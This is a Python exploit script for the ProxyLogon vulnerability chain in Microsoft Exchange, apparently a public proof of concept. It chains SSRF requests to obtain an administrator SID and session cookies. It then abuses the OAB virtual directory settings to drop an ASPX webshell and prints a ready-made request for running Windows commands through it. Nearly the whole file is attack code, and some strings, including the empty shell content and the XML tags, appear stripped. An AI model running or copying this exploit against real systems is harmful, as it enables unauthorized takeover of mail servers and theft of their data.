import requests from urllib3.exceptions import InsecureRequestWarning import random import unicodedata import string import codecs import sys print(" ___ __ ") print(" / _ \_______ __ ____ __/ / ___ ___ ____ ___ ") print(" / ___/ __/ _ \\\\ \ / // / /__/ _ \/ _ `/ _ \/ _ \\ ") print("/_/ /_/ \___/_\_\\\\_, /____/\___/\_, /\___/_//_/ ") print(" /___/ /___/ ") print(" ") # Generate random set of characters def generate_random_chars(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) ''' Stage 0: Resolve FQDN ''' def exploit_stage0(target, user_agent, random_name): print("[Stage 0] Fetch Exchange FQDN from " + target) FQDN = "EXCHANGE" # Set default FQDN to EXCHANGE stage1 = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062969", "User-Agent": user_agent}, verify=False) # Change FQDN to obtained information if X-CalculatedBETarget and X-FEServer are available if "X-CalculatedBETarget" in stage1.headers and "X-FEServer" in stage1.headers: FQDN = stage1.headers['X-FEServer'] print("[Stage 0] Fetched FQDN Successfully: " + FQDN) return FQDN ''' Stage 1: Autodiscover attack to gain useful information about the target (LegacyDN) ''' def exploit_stage1(target, email, user_agent, random_name, FQDN): print("[Stage 1] Performing SSRF attack on endpoint /autodiscover/autodiscover.xml against " + target) # Autodiscover schema for requesting the configuration from /autodiscover/autodiscover.xml autoDiscoverBody = """ %s http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a """ % email # Perform the request to the target stage1 = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062969;" % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent}, data=autoDiscoverBody, verify=False ) # If status code 200 is NOT returned, the request failed if stage1.status_code != 200: print("[Stage 1] Request failed - Autodiscover Error!") exit() # If the LegacyDN information is not in the response, the request failed as well if "" not in stage1.content.decode('utf8').strip(): print("[Stage 1] Cannot obtain required LegacyDN-information!") exit() # Define LegacyDN for further use in the script legacyDn = stage1.content.decode('utf8').strip().split("")[1].split("")[0] print("[Stage 1] Successfully obtained DN: " + legacyDn) return legacyDn ''' Stage 2: Malformed SSRF attack to obtain Security ID (SID) using endpoint /mapi/emsmdb against ''' def exploit_stage2(target, email, user_agent, random_name, legacyDn, FQDN): print( "[Stage 2] Performing malformed SSRF attack to obtain Security ID (SID) using endpoint /mapi/emsmdb against " + target) # Malformed MAPI body mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" # Send the request stage2 = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.labs&a=~1942062969;" % FQDN, "Content-Type": "application/mapi-http", "User-Agent": user_agent, "X-RequestId": "1337", "X-ClientApplication": "Outlook/15.00.0000.0000", # The headers X-RequestId, X-ClientApplication and X-requesttype are required for the request to work "x-requesttype": "connect"}, data=mapi_body, verify=False ) if stage2.status_code != 200 or "act as owner of a UserMailbox" not in stage2.content.decode('cp1252').strip(): print("[Stage 2] Mapi Error!") exit() sid = stage2.content.decode('cp1252').strip().split("with SID ")[1].split(" and MasterAccountSid")[0] if sid.split("-")[-1] != "500": print("[Stage 2] User SID not an administrator, fixing user SID%s") base_sid = sid.split("-")[:-1] base_sid.append("500") sid = "-".join(base_sid) print("[Stage 2] Got target administrator SID: %s" % sid) else: print("[Stage 2] Got target administrator SID: %s" % sid) print("[Stage 2] Successfully obtained SID: " + sid) return sid ''' Stage 3: Performing SSRF attack (ProxyLogon) using the obtained Security ID (SID) and LegacyDN on endpoint /ecp/proxyLogon.ecp ''' def exploit_stage3(target, email, user_agent, random_name, sid, FQDN): print( "[Stage 3] Performing SSRF attack (ProxyLogon) using the obtained Security ID (SID) " "and LegacyDN on endpoint /ecp/proxyLogon.ecp against " + target) proxyLogon_request = """%sS-1-1-0S-1-5-2S-1-5-11S-1-5-15S-1-5-5-0-6948923 """ % sid stage3 = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1941962753; " % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent, "msExchLogonAccount": sid, "msExchLogonMailbox": sid, "msExchTargetMailbox": sid, }, data=proxyLogon_request, verify=False ) # Check if the returned HTTP status code is 241 and a cookie is returned, # if not, the request is not handled correctly by proxyLogon.ecp if stage3.status_code != 241 or not "set-cookie" in stage3.headers: print("[Stage 3] Proxylogon Error!") exit() # Define ASP.NET Session ID and msExchEcpCanary (CSRF) token required for the OABVirtualDirectory actions sess_id = stage3.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0] msExchEcpCanary = stage3.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0] print("[Stage 3] Succesfully obtained ASP.NET_SessionID-cookie: " + sess_id) print("[Stage 3] Succesfully obtained msExchEcpCanary-cookie (CSRF): " + msExchEcpCanary) # Perform a request to the about.aspx page to confirm that the session ID and CSRF token work stage3 = requests.get("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s " % (FQDN, sess_id, msExchEcpCanary), "User-Agent": user_agent, "msExchLogonAccount": sid, "msExchLogonMailbox": sid, "msExchTargetMailbox": sid }, verify=False ) # If the returned HTTP status code is NOT 200 if stage3.status_code != 200: print("[Stage 3] CSRF Canary-cookie check failed!") # Return the ASP.NET SessionID and msExchEcpCanary return sess_id, msExchEcpCanary ''' Stage 4: Delivering final payload ''' def exploit_stage4(target, email, user_agent, random_name, sess_id, msExchEcpCanary, sid, shell_content, shell_absolute_path, shell_path, FQDN): print("[Stage 4] Preparing webshell (aspx) payload") print( "[Stage 4] Performing SSRF attack to write the output of OABVirtualDirectory using endpoint" " /ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory against " + target) stage4 = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent, "msExchLogonAccount": sid, "msExchLogonMailbox": sid, "msExchTargetMailbox": sid }, json={"filter": { "Parameters": { "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}, verify=False ) # Check if the HTTP status code is 200 if stage4.status_code != 200: print("[Stage 4] GetOAB Error!") exit() # Fetch the oabId from the response oabId = stage4.content.decode('utf8').strip().split('"RawIdentity":"')[1].split('"')[0] print("[Stage 4] Successfully obtained OAB: " + oabId) # Create a JSON containing the oabId and the shell contents oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#%s" % shell_content}}} print( "[Stage 4] Performing SSRF attack to change the external url of OABVirtualDirectory using endpoint" " /ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory against " + target) # Perform a request to inject the malicious json object using the OABVirtualDirectory stage4 = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent, "msExchLogonAccount": sid, "msExchLogonMailbox": sid, "msExchTargetMailbox": sid }, json=oab_json, verify=False ) if stage4.status_code != 200: print("[Stage 4] Set external url Error!") exit() print("[Stage 4] Delivering the final blow by resetting the OABVirtualDirectory-service") # Create a JSON to reset the OAB service reset_oab_body = { "identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": shell_absolute_path}}} # Perform a request to using the created JSON to reset the OAB service stage4 = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent, "msExchLogonAccount": sid, "msExchLogonMailbox": sid, "msExchTargetMailbox": sid }, json=reset_oab_body, verify=False ) print("[Stage 4] Attack performed successfully - webshell: https://" + target + "/owa/auth/proxylogon.aspx") print("[Stage 4] Use the following POST request to execute commands:") print(""" POST """ + shell_path.replace('\\', '/') + """ HTTP/1.1 Host: """ + target + """ User-Agent: Mozilla/5.0 Content-Type:application/x-www-form-urlencoded Content-Length: 115 proxylogon_shell=Response.Write(new ActiveXObject("Wscript.Shell").exec("cmd.exe /c whoami /all").stdout.readall()) """) if stage4.status_code != 200: print("[Stage 4] Write Shell Error!") exit() def main(): # If there are less then 2 arguments, show the help text and exit if len(sys.argv) < 2: print("Usage: python ProxyLogon.py ") exit() # Disable URLLib3 Warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # Define target and e-mail address target = sys.argv[1] email = sys.argv[2] # Define the user agent used in the requests user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)" # Define the path for shell dropping (relative and absolute) os_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy" shell_path = "\\owa\\auth\\proxylogon.aspx" shell_absolute_path = "\\\\127.0.0.1\\c$\\%s\\%s" % (os_path, shell_path) # Define the shell contents shell_content = '' # Define legacyDnPatchByte legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a" # Generate a random name for the .js file that is used in the requests random_name = generate_random_chars(3) + ".js" # Fetch FQDN FQDN = exploit_stage0(target, user_agent, random_name) # Fetch legacyDn values legacyDn = exploit_stage1(target, email, user_agent, random_name, FQDN) # Fetch SID sid = exploit_stage2(target, email, user_agent, random_name, legacyDn, FQDN) # Fetch ASP.NET Session ID & msExchEcpCanary stage3_values = exploit_stage3(target, email, user_agent, random_name, sid, FQDN) # Perform web shell drop exploit_stage4(target, email, user_agent, random_name, stage3_values[0], stage3_values[1], sid, shell_content, shell_absolute_path, shell_path, FQDN) main()